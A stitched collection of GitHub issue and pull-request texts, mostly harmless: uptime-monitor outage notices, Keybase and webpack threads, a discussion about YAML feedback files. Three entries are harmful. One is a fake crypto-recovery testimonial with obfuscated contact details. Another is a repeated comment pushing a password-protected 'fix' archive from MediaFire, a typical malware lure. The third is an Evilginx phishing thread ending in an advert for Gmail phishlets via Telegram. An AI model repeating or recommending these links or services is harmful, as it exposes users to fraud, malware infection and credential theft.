text:
🛑 FX blog (kty) is down

In 8240d80, FX blog (kty) (https://foxter-blogeditor.konecty.com) was down:

HTTP code: 0
Response time: 0 ms

Resolved: FX blog (kty) is back up in fc9b710 after 6 minutes.


text:
🛑 FX corretor (kty) is down

In 2077d9b, FX corretor (kty) (https://corretores.foxterciaimobiliaria.com.br) was down:

HTTP code: 0
Response time: 0 ms

Resolved: FX corretor (kty) is back up in 94a560e after 25 minutes.

source: gharchive/issue

repo: keviocastro/upptime

license: MIT

license_type: permissive

license_source: github-api


text:
🛑 FX blog (kty) is down

In 9518a43, FX blog (kty) (https://foxter-blogeditor.konecty.com) was down:

HTTP code: 0
Response time: 0 ms

Resolved: FX blog (kty) is back up in e934446 after 6 minutes.


text:
🛑 FX blog (kty) is down

In 086cee2, FX blog (kty) (https://foxter-blogeditor.konecty.com) was down:

HTTP code: 0
Response time: 0 ms

Resolved: FX blog (kty) is back up in 745258d after 12 minutes.


text:
🛑 FX corretor (kty) is down

In 46ab774, FX corretor (kty) (https://corretores.foxterciaimobiliaria.com.br) was down:

HTTP code: 0
Response time: 0 ms

Resolved: FX corretor (kty) is back up in ce6083e after 6 minutes.


text:
🛑 FX blog (kty) is down

In 4234572, FX blog (kty) (https://foxter-blogeditor.konecty.com) was down:

HTTP code: 0
Response time: 0 ms

Resolved: FX blog (kty) is back up in 27d5733 after 6 minutes.


text:
🛑 FX blog (kty) is down

In f5ae0bc, FX blog (kty) (https://foxter-blogeditor.konecty.com) was down:

HTTP code: 0
Response time: 0 ms

Resolved: FX blog (kty) is back up in a934ce5 after 6 minutes.


text:
🛑 FX corretor (kty) is down

In c5a3594, FX corretor (kty) (https://corretores.foxterciaimobiliaria.com.br) was down:

HTTP code: 0
Response time: 0 ms

Resolved: FX corretor (kty) is back up in 1a8b130 after 49 minutes.


text:
🛑 FX corretor (kty) is down

In 5dff054, FX corretor (kty) (https://corretores.foxterciaimobiliaria.com.br) was down:

HTTP code: 0
Response time: 0 ms

Resolved: FX corretor (kty) is back up in 2a561f4 after 48 minutes.


text:
🛑 FX corretor (kty) is down

In bd6632c, FX corretor (kty) (https://corretores.foxterciaimobiliaria.com.br) was down:

HTTP code: 0
Response time: 0 ms

Resolved: FX corretor (kty) is back up in 38fa598 after 47 minutes.


text:
🛑 FX blog (kty) is down

In 5fcd88c, FX blog (kty) (https://foxter-blogeditor.konecty.com) was down:

HTTP code: 0
Response time: 0 ms

Resolved: FX blog (kty) is back up in 6b8e7fb after 5 minutes.


text:
🛑 FX corretor (kty) is down

In e3fe99e, FX corretor (kty) (https://corretores.foxterciaimobiliaria.com.br) was down:

HTTP code: 0
Response time: 0 ms

Resolved: FX corretor (kty) is back up in b82169e after 38 minutes.


text:
🛑 FX corretor (kty) is down

In 04d530a, FX corretor (kty) (https://corretores.foxterciaimobiliaria.com.br) was down:

HTTP code: 0
Response time: 0 ms

Resolved: FX corretor (kty) is back up in b2cd082 after 44 minutes.


text:
🛑 FX corretor (kty) is down

In aa9330c, FX corretor (kty) (https://corretores.foxterciaimobiliaria.com.br) was down:

HTTP code: 0
Response time: 0 ms

Resolved: FX corretor (kty) is back up in d5a9293 after 40 minutes.


text:
🛑 FX corretor (kty) is down

In ae3e634, FX corretor (kty) (https://corretores.foxterciaimobiliaria.com.br) was down:

HTTP code: 0
Response time: 0 ms

Resolved: FX corretor (kty) is back up in ec72d80 after 6 minutes.


text:
🛑 FX blog (kty) is down

In 775314a, FX blog (kty) (https://foxter-blogeditor.konecty.com) was down:

HTTP code: 0
Response time: 0 ms

Resolved: FX blog (kty) is back up in d02a5e8 after 28 minutes.


text:
🛑 FX corretor (kty) is down

In 70267ab, FX corretor (kty) (https://corretores.foxterciaimobiliaria.com.br) was down:

HTTP code: 0
Response time: 0 ms

Resolved: FX corretor (kty) is back up in 6da5e6e after 6 minutes.


text:
🛑 FX net (kty) is down

In 9a45514, FX net (kty) (https://foxter.net.br) was down:

HTTP code: 0
Response time: 0 ms

Resolved: FX net (kty) is back up in c7ed098.


text:
🛑 FX blog (kty) is down

In 985a58b, FX blog (kty) (https://foxter-blogeditor.konecty.com) was down:

HTTP code: 0
Response time: 0 ms

Resolved: FX blog (kty) is back up in a7bb254 after 13 minutes.


text:
🛑 grow site (kty) is down

In 3c98ab5, grow site (kty) (https://iranilabs.galileu.io) was down:

HTTP code: 0
Response time: 0 ms

Resolved: grow site (kty) is back up in 67c879e.


text:
🛑 FX blog (kty) is down

In f86d3c5, FX blog (kty) (https://foxter-blogeditor.konecty.com) was down:

HTTP code: 0
Response time: 0 ms

Resolved: FX blog (kty) is back up in 5a785a4 after 6 minutes.


text:
Add iPhone 7 info

Add missing info about iPhone 7 & iPhone 7 plus

Did you add this by hand? If yes, use the make.js script in this repository.
$ node make.js

I just tried to run it myself, but it didn't add iPhone 7 for some reason. Seems like it hasn't been added to viewportsizes.com/devices.json.

Odd, how is that list maintained? Doesn't seem like we could do a PR somewhere... Maybe we should ping the developer on Twitter Matt Snow?
The question is, how well is that list being maintained? Does it add other extra devices after running the make file?

@SamVerschueren, nope. I guess we could add it here http://viewportsizes.com/add/.

It's somewhat worrying though that no devices has been added in a long time.

Absolutely!
Can't seem to find another decent source though. So I believe we can do two things here.

Add the device to http://viewportsizes.com/add/
Create a second JSON file with custom devices and merge that one in the makefile. This way we can accept PRs for devices not on the list, and still retrieve the data from that website.

Ah sorry missed make.js! looked at viewportsizes.com and as you guys said, no info about iPhone 7, nor is Samsung Galaxy s7 added there either, so maybe a second JSON file would be a good idea!

@SamVerschueren, the second alternative seems better to me. That way we don't need to rely on someone not responding or whatever.

@kevva Jep, 2 was my preference of choice as well. Let's do that.
@alonalon Care to transform this PR into the suggested solution?

@SamVerschueren sure, I think I have some time over, otherwise I ping you here!

Alright, thanks @alonalon!

@SamVerschueren sorry for late notice, but I don't think I have time to solve this :(

@alonalon No problem.
I created issue #8 to track that new feature. Let's close this one and continue the discussion/remarks in that issue instead.

source: gharchive/pull-request

authors: SamVerschueren alonalon kevva

repo: kevva/viewport-list

license: mit

license_source: bigquery


text:
keybase

[write something useful and descriptive here]
my log id: 26335f3d4ea9fa94d03b0e1c

cheers

repo: keybase/client


text:
HIRE TECH CYBER FORCE RECOVERY SECURE CRYPTO ASSET RECOVERY

My name is Angela, and I want to share a story that turned out to be both a nightmare and a triumph. Over the years, I built my wealth through a combination of savvy investments and strategic financial ventures. I had managed to save up $500,000 in Bitcoin, which I viewed as a cornerstone of my financial future. However, everything changed when I fell victim to a sophisticated phishing scam. The scam was so convincing that I unknowingly provided my Bitcoin wallet details to a fake website. The realization that my funds had been stolen was devastating. The immediate aftermath was filled with shock, despair, and frustration. I felt a profound sense of betrayal and helplessness, knowing that the money I had worked so hard to accumulate was now potentially lost forever. Desperate for a solution, I began searching for help. That’s when I came across TECH CYBER FORCE RECOVERY through a recommendation from a trusted friend. From the moment I contacted them, their response was both empathetic and professional. They took the time to understand my situation in detail and provided a clear explanation of the recovery process. Their approach was transparent, and they set realistic expectations about what could be achieved. One of the standout features of TECH CYBER FORCE RECOVERY was their use of advanced recovery techniques. They didn’t just rely on standard methods; instead, they employed cutting-edge technology and expertise to track down the stolen funds. The process was complex and required significant effort, but their dedication was evident throughout. Throughout the recovery process, TECH CYBER FORCE RECOVERY kept me informed with regular updates. This constant communication was a lifeline during such a stressful time, helping to alleviate some of the anxiety and uncertainty. They also provided valuable advice on securing my digital assets to prevent future incidents. This guidance was eye-opening and has made me much more aware of the vulnerabilities and best practices in managing digital wealth. After weeks of intense effort, I received the incredible news that TECH CYBER FORCE RECOVERY had successfully recovered my stolen funds. The relief I felt was indescribable. It wasn’t just about getting back $500,000—it was about reclaiming a part of my financial future and restoring my peace of mind. The experience taught me the importance of vigilance and the value of professional assistance in critical situations. EM AIL. con tact @ tech cyber force recovery . info OR WHA TSA PP. +1 56 17 263 69 7expertise and commitment turned a dire situation into a success story. If you ever find yourself in a similar predicament, I highly recommend their services. Their dedication and skill can make all the difference when you’re facing a financial crisis.

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


text:
Windows client failing to mount KBFS or show devices when started manually

Log ID: 2d3c0d7be100e14c6b8d721c
Running on Windows 7 Professional as an authenticated user in an AD environment.
I removed Keybase shortcuts from my startup folder. I don't need them to be running all the time, and being prompted for a password at login (long before my password manager is online) was inconvenient.
Now I'm attempting to start Keybase/KBFS, but it isn't mounting K: (the drive letter remains unassigned). In addition, the Keybase GUI is not showing any devices:

The CLI client is showing active, logged in and unlocked when running keybase status. Additionally, keybase device list is listing my devices.
The system tray icon is working, and showing my public and private folders, including known shared folders. It is unable to launch them in explorer, but isn't giving any error messages. "Report a Bug" isn't working.

Keybase GUI Version: 1.0.16-20160726182352+0c2a52a

Update: Running kbfsdokan k: in the command prompt window leads to the following being spammed to the window over and over (with varying times):
- WARNING (CONN KeybaseDaemonRPC 20e8de17) Connection: error dialing transport:
Timed out waiting for pipe '\\.\pipe\kbservice\Users\brian\AppData\Roaming\Keyba
se\keybased.sock' to come available
- WARNING KeybaseDaemonRPC: connection error: "Timed out waiting for pipe '\\\\.
\\pipe\\kbservice\\Users\\brian\\AppData\\Roaming\\Keybase\\keybased.sock' to co
me available"; retrying in 42.534932788s
- WARNING (CONN CryptoClient 011eb63e) Connection: error dialing transport: Time
d out waiting for pipe '\\.\pipe\kbservice\Users\brian\AppData\Roaming\Keybase\k
eybased.sock' to come available
- WARNING CryptoClient: connection error: "Timed out waiting for pipe '\\\\.\\pi
pe\\kbservice\\Users\\brian\\AppData\\Roaming\\Keybase\\keybased.sock' to come a
vailable"; retrying in 25.060661869s
- WARNING KBFS Status failed: context deadline exceeded

Attempts to actually access the filesystem beyond the two top level directories results in:

You could try keybase[.exe] ctl watchdog2 which is the argument for the runquiet startup option. If you don't want to have the Keybase Shell active all the time, you can use runquiet[.exe] keybase.exe ctl watchdog2.

Juan is right; those shortcuts served a purpose. You could copy them to
somewhere else and launch them both when you want Keybase/KBFS.
On Thu, Aug 11, 2016 at 9:30 AM, Juan Miguel Navarro Martínez <
notifications@github.com> wrote:

You could try keybase[.exe] ctl watchdog2 which is the argument for the
runquiet startup option. If you don't want to have the Keybase Shell active
all the time, you can use runquiet[.exe] keybase.exe ctl watchdog2.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/keybase/client/issues/3848#issuecomment-239215040,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AA0ovXqkogZFVDe60t0npg07_lV8zOCiks5qe04PgaJpZM4JiHqS
.

Thanks, guys. This is probably more of a UX issue, then.

authors: Brianetta juanminm zanderz


text:
Web pack 4

This updates us to webpack 4. Couple of things to note

We use sideEffects: [...] in packge json. which means if you import a module it assumes there is no side effect. We should follow this policy. This is required to get treeshaking working. Anything that's a side effect import (like css) needs to be added here
I removed the extend builtin transform. This was part of babel but got pulled out and in general i think this isn't great. Its not really cross platform and i think we barely use this so instead just throw non-error objects
Killed vis-diff
How storybook-connect works had to change. Before we monkey patched the import but now the export is sealed so we can't overwrite the method. Instead we just use webpack to replace certain modules w/ mocks. This also helps us get rid of regenrator etc

Note: we could likely expand the webpack mocking to replace most of the if(__STORYBOOK) type code but i figured i'd keep this as minimal as i could
Good news:
Prod Build time: 20 seconds faster!
Main Bundle size: 720K smaller!

[x] jest broken
[x] storybook
[x] react native storybook
[x] warnings to uglify
[x] webpack anlyze to see why dumb sheets included
[x] timing old build-dev / new build-dev
[x] test dev
[x] test hot-server
[x] test prod
[x] test package
[x] test mobile
[x] ensure treeshaking working
[x] deprecate visdiff
[ ] prod build electron
[ ] prod build ios
[ ] prod build android

master build-dev:
total 40048
drwxr-xr-x  17 chrisnojima  staff       544 Mar 28 15:22 .
drwxr-xr-x  23 chrisnojima  staff       736 Mar 28 15:21 ..
-rw-r--r--   1 chrisnojima  staff  13917569 Mar 28 15:22 64.png
-rw-r--r--   1 chrisnojima  staff    118556 Mar 28 15:22 OpenSans-Semi_bold.ttf
-rw-r--r--   1 chrisnojima  staff    110096 Mar 28 15:22 OpenSans-Semi_bold_italic.ttf
-rw-r--r--   1 chrisnojima  staff    114520 Mar 28 15:22 OpenSans.ttf
-rw-r--r--   1 chrisnojima  staff    121804 Mar 28 15:22 OpenSans_bold.ttf
-rw-r--r--   1 chrisnojima  staff    109980 Mar 28 15:22 OpenSans_italic.ttf
-rw-r--r--   1 chrisnojima  staff     47480 Mar 28 15:22 SourceCodePro-Semi_bold.ttf
-rw-r--r--   1 chrisnojima  staff     60384 Mar 28 15:22 SourceCodePro.ttf
-rw-r--r--   1 chrisnojima  staff   1787547 Mar 28 15:22 common-chunks.js
-rw-r--r--   1 chrisnojima  staff     38386 Mar 28 15:22 component-loader.bundle.js
drwxr-xr-x   3 chrisnojima  staff        96 Mar 28 15:21 dll
-rw-r--r--   1 chrisnojima  staff   2455868 Mar 28 15:22 index.bundle.js
-rw-r--r--   1 chrisnojima  staff     22652 Mar 28 15:22 kb.ttf
-rw-r--r--   1 chrisnojima  staff   1495119 Mar 28 15:22 main.bundle.js
-rw-r--r--   1 chrisnojima  staff     85181 Mar 28 15:22 security-preferences.png

./dll:
total 7352
drwxr-xr-x   3 chrisnojima  staff       96 Mar 28 15:21 .
drwxr-xr-x  17 chrisnojima  staff      544 Mar 28 15:22 ..
-rw-r--r--   1 chrisnojima  staff  3763743 Mar 28 15:21 dll.vendor.js

pr build-dev
First build: 7.88 real         8.91 user         0.87 sys
Second build:
total 91128
drwxr-xr-x  17 chrisnojima  staff       544 Mar 28 16:14 .
drwxr-xr-x  24 chrisnojima  staff       768 Mar 28 15:34 ..
-rw-r--r--   1 chrisnojima  staff  13917569 Mar 28 18:11 64.png
-rw-r--r--   1 chrisnojima  staff    118556 Mar 28 18:11 OpenSans-Semi_bold.ttf
-rw-r--r--   1 chrisnojima  staff    110096 Mar 28 18:11 OpenSans-Semi_bold_italic.ttf
-rw-r--r--   1 chrisnojima  staff    114520 Mar 28 18:11 OpenSans.ttf
-rw-r--r--   1 chrisnojima  staff    121804 Mar 28 18:11 OpenSans_bold.ttf
-rw-r--r--   1 chrisnojima  staff    109980 Mar 28 18:11 OpenSans_italic.ttf
-rw-r--r--   1 chrisnojima  staff     47480 Mar 28 18:11 SourceCodePro-Semi_bold.ttf
-rw-r--r--   1 chrisnojima  staff     60384 Mar 28 18:11 SourceCodePro.ttf
-rw-r--r--   1 chrisnojima  staff   5667789 Mar 28 18:11 component-loader.bundle.js
-rw-r--r--   1 chrisnojima  staff   5161983 Mar 28 16:14 component-loader.bundle.js.map
-rw-r--r--   1 chrisnojima  staff  10499127 Mar 28 18:11 index.bundle.js
-rw-r--r--   1 chrisnojima  staff   8583379 Mar 28 16:14 index.bundle.js.map
-rw-r--r--   1 chrisnojima  staff     22652 Mar 28 18:11 kb.ttf
-rw-r--r--   1 chrisnojima  staff   2015266 Mar 28 18:11 main.bundle.js
-rw-r--r--   1 chrisnojima  staff     85181 Mar 28 18:11 security-preferences.png

pr build-dev:
First:  14.03 real        17.21 user         1.11 sys
Second: 7.64 real         8.59 user         0.81 sys
total 61096
drwxr-xr-x  15 chrisnojima  staff       480 Mar 30 11:30 .
drwxr-xr-x  24 chrisnojima  staff       768 Mar 30 11:30 ..
-rw-r--r--   1 chrisnojima  staff  13917569 Mar 30 11:30 64.png
-rw-r--r--   1 chrisnojima  staff    118556 Mar 30 11:30 OpenSans-Semi_bold.ttf
-rw-r--r--   1 chrisnojima  staff    110096 Mar 30 11:30 OpenSans-Semi_bold_italic.ttf
-rw-r--r--   1 chrisnojima  staff    114520 Mar 30 11:30 OpenSans.ttf
-rw-r--r--   1 chrisnojima  staff    121804 Mar 30 11:30 OpenSans_bold.ttf
-rw-r--r--   1 chrisnojima  staff    109980 Mar 30 11:30 OpenSans_italic.ttf
-rw-r--r--   1 chrisnojima  staff     47480 Mar 30 11:30 SourceCodePro-Semi_bold.ttf
-rw-r--r--   1 chrisnojima  staff     60384 Mar 30 11:30 SourceCodePro.ttf
-rw-r--r--   1 chrisnojima  staff   5074209 Mar 30 11:30 component-loader.bundle.js
-rw-r--r--   1 chrisnojima  staff   9685930 Mar 30 11:30 index.bundle.js
-rw-r--r--   1 chrisnojima  staff     22652 Mar 30 11:30 kb.ttf
-rw-r--r--   1 chrisnojima  staff   1801116 Mar 30 11:30 main.bundle.js
-rw-r--r--   1 chrisnojima  staff     85181 Mar 30 11:30 security-preferences.png

@keybase/react-hackers this is ready. Once this gets thumbs I'll do test builds off of this commit so we can run it before merging to master as a final sanity check

actually storyshots seems to have a diff, back to wip

@keybase/react-hackers this is ready again. Once this is thumbed we'll do builds on everything to double check. annoyingly storybook/rn-storybook/rn/electron all kinda do different things w/ webpack so getting this to work on all variants took a long time to figure out


text:
log send: Omit start log on Windows

@taruti @maxtaco

👍

authors: maxtaco zanderz


text:
Show snippets when muted on mobile

@keybase/react-hackers
(Same change already went in on desktop, forgot to do it for mobile too.)

The commits 600b1de63ce3...6d2f0f43add8 introduce visual changes on linux. :mag_right: 1 changed

Changed: unlock_folders-Success (before) (after)

Sounds good!  We always show the snippet now, though, so there's no current need for an option.

authors: cjb keybase-ci-visdiff


text:
codestyle: Fix typo in annotation

Signed-off-by: Stefan Berger stefanb@linux.ibm.com

Codecov Report

Merging #1226 (a71e519) into master (abb0a2d) will increase coverage by 0.03%.
The diff coverage is 100.00%.

Additional details and impacted files

Flag
Coverage Δ

packit-e2e
71.10% <100.00%> (+0.03%)
:arrow_up:

testsuite
58.56% <100.00%> (ø)

unittests
14.00% <0.00%> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

keylime/cloud_verifier_tornado.py
66.85% <100.00%> (ø)

keylime/registrar_common.py
58.62% <0.00%> (+0.86%)
:arrow_up:

authors: codecov-commenter stefanberger

repo: keylime/keylime


text:
🛑 Stockholm Vatten och Avfall is down

In eaf5fd8, Stockholm Vatten och Avfall (https://www.stockholmvattenochavfall.se/) was down:

HTTP code: 500
Response time: 1157 ms

Resolved: Stockholm Vatten och Avfall is back up in fffa1ab after 13 minutes.

repo: keywordnew/stockholm-watchtower


text:
🛑 Joplin Cloud dashboard is down

In d2ee50f, Joplin Cloud dashboard (https://joplincloud.com) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Joplin Cloud dashboard is back up in 43a2ba1 after 8 minutes.

repo: keywordnew/uptime-for-joplin


text:
"better" options for code-snippets in feedback files

Using YAML makes it hard to write feedback containing code (and 00's style smileys).
: and - are parsed as either text or control character, depending on the context.
There seems to be no way to escape these characters in YAML. They will be ignored in some cases, e.g. when they are not immediately followed by whitespace or enclosed in single/double-quotes.
YAML is indent-sensitive as well, making it hard to include properly indented code-snippets. (e.g. when correcting minor mistakes in a student's code or showing them a cleaner, shorter version of what they wrote)
I think YAML is a nice and easy format, but I also spend a lot of time fighting with it.
I don't have any ideas for a good and easy fix for this.
"Replace YAML" might be too much to ask for, and I think "Custom YAML Parser" is too much as well.
I would be willing to make an effort, both trying to find a "better format" or implementing a proposed "solution", if anyone agrees with me that this is in fact an issue.
(I would also like to be taught "how to do it", if it's possible to escape these characters)

On AP we effectively ended up dropping YAML, and wrote the feedback.txt by hand instead. So I think there is some strong indications that YAML may not be the best format for the feedback. So I'm up for changing it.
One idea that I've been toying with is to use YAML for meta data, and then use specialised markdown for the feedback.

On AP we effectively ended up dropping YAML, and wrote the feedback.txt by hand instead. So I think there is some strong indications that YAML may not be the best format for the feedback. So I'm up for changing it.
One idea that I've been toying with is to use YAML for meta data, and then use specialised markdown for the feedback.

So something along the lines of translating this template:
name: someAssignment
passing-points: 42

tasks:
  - someAssGeneral:
      title: Generelle kommentarer
      points: 0
      rubric: |
        Some general comments

  - someAssCode:
      title: Code-part
      points: 21
      rubric: |
        Feedback for code

  - someAssReport:
      title: Report-part
      points: 21
      rubric: |
        Feedback for report

into
name: someAssignment
students:
  -  12345:
         name: students name
         login: ku-email@alumni.ku.dk

!YAML ENDS HERE SO SPLIT ME IN PYTHON!
#someAssGeneral
##title: Generelle Kommentarer
##pointsObtainable: 0
##pointsObtained: XX
##Comment
Some general comments

#someAssCode
##title: Code-part
##pointsObtainable: 21
##pointsObtained: XX
##Comment
Feedback for code

#someAssReport
##title: Report-part
##pointsObtainable: 21
##pointsObtained: XX
##Comment
Feedback for report

It's probably not the best solution, but I could see this work.

So something along the lines of translating this template:
name: someAssignment
passing-points: 42

tasks:
  - someAssGeneral:
      title: Generelle kommentarer
      points: 0
      rubric: |
        Some general comments

  - someAssCode:
      title: Code-part
      points: 21
      rubric: |
        Feedback for code

  - someAssReport:
      title: Report-part
      points: 21
      rubric: |
        Feedback for report

into
name: someAssignment
students:
  -  12345:
         name: students name
         login: ku-email@alumni.ku.dk

!YAML ENDS HERE SO SPLIT ME IN PYTHON!
#someAssGeneral
##title: Generelle Kommentarer
##pointsObtainable: 0
##pointsObtained: XX
##Comment
Some general comments

#someAssCode
##title: Code-part
##pointsObtainable: 21
##pointsObtained: XX
##Comment
Feedback for code

#someAssReport
##title: Report-part
##pointsObtainable: 21
##pointsObtained: XX
##Comment
Feedback for report

It's probably not the best solution, but I could see this work.

authors: kfl madsobitsoe


text:
Parser error on Windows 10

Hello there. I've just downloaded the k-distribution4.0.0 and when I try to
use krun on Windows 10 it always outputs the following error:
"[Error] Outer Parser: Encountered .
Was expecting one of: [, "#token", "#klabel", <ID_KLABEL>, "`"]
Source(<command line: -cPGM>)
Location(0,0,0,0)
"
The 3.6 works without a problem though so it must be something in the last update.

When you say always, do you mean you tried it on the provided examples and you still got the error? Can you show the file you're running krun on?

authors: Juanpam omarzd

repo: kframework/k


text:
A/B test

정의

AB test 란 전체 실사용자 대상으로 대조군과, 실험군으로 나누어서 어떤 특정UI나 알고리즘 효과를 비교하는 방법

사용자 분리방법 (대조군과 실험군 나누는 방법론)

노출빈도 분산 방식
사용자 분산 방식
시간대 분산 방식

자동완성의 경우 노출분산 방식을 사용한다.

과정

목표와 개선/변경사항 설정
개선을 측정할 지표 (metrics)
변형 설정(Variation) (알고리즘 변화나 UI변경)
실험 traffic 및 대상 설정(target audience)

방식

사전에 AA test를 진행해야한다. 분산된 트래픽에 대해 동일한 variation을 적용하고, 차이가 없다는걸 증명
P-value: 유의성 검증 방식, 예를들어 p< 0.07 이면, 100번 의 실험중에 93번은 가설대로 진행되었으나, 7번은 예외

reference

https://brunch.co.kr/@digitalnative/19

실험설계

data를 모아 개선이 필요한 부분을 찾는다.
목표를 세운다
가설을 세운다
A/A 테스트를 진행한다.
A/B 테스트를 진행한다.
결과를 분석한다.


text:
phishing engagement link redirects to rick astley youtube video

DO NOT ASK FOR PHISHLETS.
DO NOT ASK FOR HELP CREATING PHISHLETS.
DO NOT ASK TO FIX PHISHLETS.
DO NOT ADVERTISE OR TRY TO SELL PHISHLETS.
EXPECT A BAN OTHERWISE. THANK YOU!
REPORT ONLY BUGS OR FEATURE SUGGESTIONS.
hello as the phishing link is created it redirects to rick astley youtube video what is the correct uri or get parameters that the tool accepts to stop this redirect to a youtube video and back to the phishing form

you have to edit the "redirect_url" parameter in the lure to change it. By default, the lure redirect_url rickrolls the user via the youtube link.

**Hi 👽 ! If you are interested in ⚙Advanced Phishing⚙ and the ✨Evilginx3✨ tool then I offer you Google Gmail and Custom Phishlets with a ✅Free Tutorial✅ which arrives if the 📈Telegram reaches 50 Subscribers📈
⏳ GOOGLE GMAIL PHISHLET 2024 WITH PROOF ⏳
->
⛔https://www.youtube.com/watch?v=nA47UknIE6A⛔
🔓 Ask your questions and a free tutorial from 50 subs on telegram !!!
->
📩https://t.me/Noremorse1011📩**


text:
🛑 microbin is down

In d5d4512, microbin (https://bin.hmuy.tech) was down:

HTTP code: 0
Response time: 0 ms

Resolved: microbin is back up in fcab5bc after 19 hours, 6 minutes.

repo: khanhmuy/webstatus


text:
Semantics of RandomCrop

I have a few questions that AFAIU are not covered in the documentation,

What happens if the requested width/height are larger than the input image?
If the requested width/height is less than the input image, will the returned image lie outside the strict borders of the input? If so, what sort of padding is done?
If the requested width/height are exactly equal to the input image, does it reduce to the identity function?

I also consulted the albumentations API docs, but they didn't have much more information. So just putting these questions out into the ether...

You're right, documentation is lacking on many ends currently - I'm currently doing a rewrite of the Geometric Transforms that will enable some cool features like dynamic ops fusion and invertible augmentations (which I currently need for a project... :smile:), so I didn't spend too much time documenting the old code.
Here are the current (v0.2.2) semantics:

RandomCrop aligns the image toward the top-left of the image for requested dimensions that exceed the true image size (I hope it becomes a bit clearer from the image below)
 -> RandomCrop(300, 100) ->
When RandomCroping to a size that is smaller than (or equal to) the original image size, the crop lies within the borders of the input image without additional padding. However, interactions with other Transformations (e.g. Rotations) can change that. In these cases, zero-padding is currently used, which I plan to make configurable in the future (cf. the black triangle in the output below).
 ->  Rotate() -> RandomCrop(100) ->
Yes, for input_size == output_size, RandomCrop becomes the identity function.

Re your first point: In the future, Crops and Pads will share the same code path, so that RandomCroping to a larger canvas size will behave like a "RandomPadding" operation that places the input image somewhere within the original Canvas.

Thanks so much for your detailed explanation @khdlr! In order to achieve the "random crop with padding" pattern, is there a pad operation?

I think you might be able to do something like "pad then random crop" by chaining CenterCrop with a larger output size (reflecting the padding) followed by RandomCrop. As far as I can tell, this results in outputs resembling padding_mode = "edge" (in torchvision terms), although the images above made me expect zero padding so I'm a bit confused.

authors: PythonNut khdlr samuela

repo: khdlr/augmax


text:
уу

Вопрос Леше
Леша, привет! Подскажи, у нас в системе в ретейле есть функциональность:

Кешбэк за оплату картой

Кешбэк за текущий период

Привязка счета СБП

Выписка по операции (например, оплата или перевод)
Личные данные: отправка на email, печать

Скриншоты

Статус кредитов

repo: kicumkicum/demo-apps

license: Unlicense


text:
在没有编译进固件时，frps界面在软件包管理安装后无法使用

显示不了任何选项

不知道是不是个例

把 /etc/config/frps 文件删掉后, 重装 luci-app-frps

把 /etc/config/frps 文件删掉后, 重装 luci-app-frps

好的，谢谢作者


text:
small fixes and new mail address

(cherry picked from commit 302779352d3b8779e541cdda34affd67dad29c5c)

@mareknovotny Please merge this before this afternoon (before starting the daily builds) as the small "errors" that were fixed prevented yesterday the pipeline to start

repo: kiegroup/kie-jenkins-scripts


text:
kie-issues#342: specify target origin on postMessage

Issue: kiegroup/kie-issues#342
Replacing asterisk in postMessage calls using component properties.

@tiagobento based on tests results, the extension is the problem indeed.

Closing as it is not possible at the moment to reduce target origins during build time and keep functionality intact, the reported vulnerabilities are at the moment inevitable to keep as known issues.

repo: kiegroup/kie-tools


text:
[1.13.x] update org.kie.kogito.rhpam.builder module to version 7.13.1

This change missed in PR https://github.com/kiegroup/kogito-operator/pull/1277
Please make sure your PR meets the following requirements:

[ ] You have read the contributors' guide
[ ] Pull Request title is properly formatted: [KOGITO-XYZ] Subject
[ ] Pull Request contains a link to the JIRA issue
[ ] Pull Request contains a description of the issue
[ ] Pull Request does not include fixes for issues other than the main ticket
[ ] Your feature/bug fix has a unit test that verifies it
[ ] You've ran make before-pr and everything is working accordingly
[ ] You've tested the new feature/bug fix in an actual OpenShift cluster
[ ] You've added a RELEASE_NOTES.md entry regarding this change

How to retest this PR or trigger a specific build:

Run operator BDD testing
Please add comment: /jenkins test

Run RHPAM operator BDD testing
Please add comment: /jenkins RHPAM test

@rgdoliveira Are you aware of https://github.com/kiegroup/kogito-operator/pull/1281 ?
Golang needed to be updated to 1.17 due to dependency issues no more supported on 1.16 ...

@rgdoliveira Are you aware of #1281 ? Golang needed to be updated to 1.17 due to dependency issues no more supported on 1.16 ...
@radtriste yes, I'm aware, rhpam-image-prod.yaml file was updated to use go-toolset:1.17.7, so I think everything should be correct.

/jenkins RHPAM test

authors: radtriste rgdoliveira spolti

repo: kiegroup/kogito-operator


text:
KOGITO-2773: Update scesim example enabling compatibility with BC

https://issues.redhat.com/browse/KOGITO-2773
The real name of "Type" column is "Type" and not "string". The editor will show "string" but, under the cover, "Type" is used because is a "Anonymous" DMNType (a type with allowed values). This change will enable the examples to be both compatible with Kogito channels and Business Central
In addition the DMNPath was wrong. Updated with the correct path.

[x] You have read the contributors guide
[x] Pull Request title is properly formatted: KOGITO-XYZ Subject
[x] Pull Request title contains the target branch if not targeting master: [0.9.x] KOGITO-XYZ Subject
[x] Pull Request contains link to the JIRA issue
[x] Pull Request contains link to any dependent or related Pull Request
[x] Pull Request contains description of the issue
[x] Pull Request does not include fixes for issues other than the main ticket

@kiegroup/gatekeepers Can you please merge it?

repo: kiegroup/kogito-runtimes


text:
need more docs and example

The example is confusing or insufficient. This repo has no wiki (unlike Middleclass). You have to inspect the source code and its specs to look up all available APIs.
Personally, if it was me from a year ago. It took me days. I submitted this issue on the same day as my junior require my assistance on this library.

Found a demo:

https://github.com/kikito/stateful-demo

A note: that demo is more than a decade year old. It runs on older versions, but it gasp the usage of this library.
Sorry for late response.


text:
[Feature Request] export Pause/Resume APIs

Currently, I'm using progressbar.js in a timer app, and I found it difficult to pause the progress bar's svg. I have to read through source codes and use a debugger to find a way to implement those functions.
Finally I've got a workaround like this:
let TIMER_IS_PAUSED = false;

function togglePauseResume() {
    if(TIMER_IS_PAUSED) {
        bar._progressPath._tweenable.resume();
    } else {
        bar._progressPath._tweenable.pause();
    }
    TIMER_IS_PAUSED = !TIMER_IS_PAUSED;
};

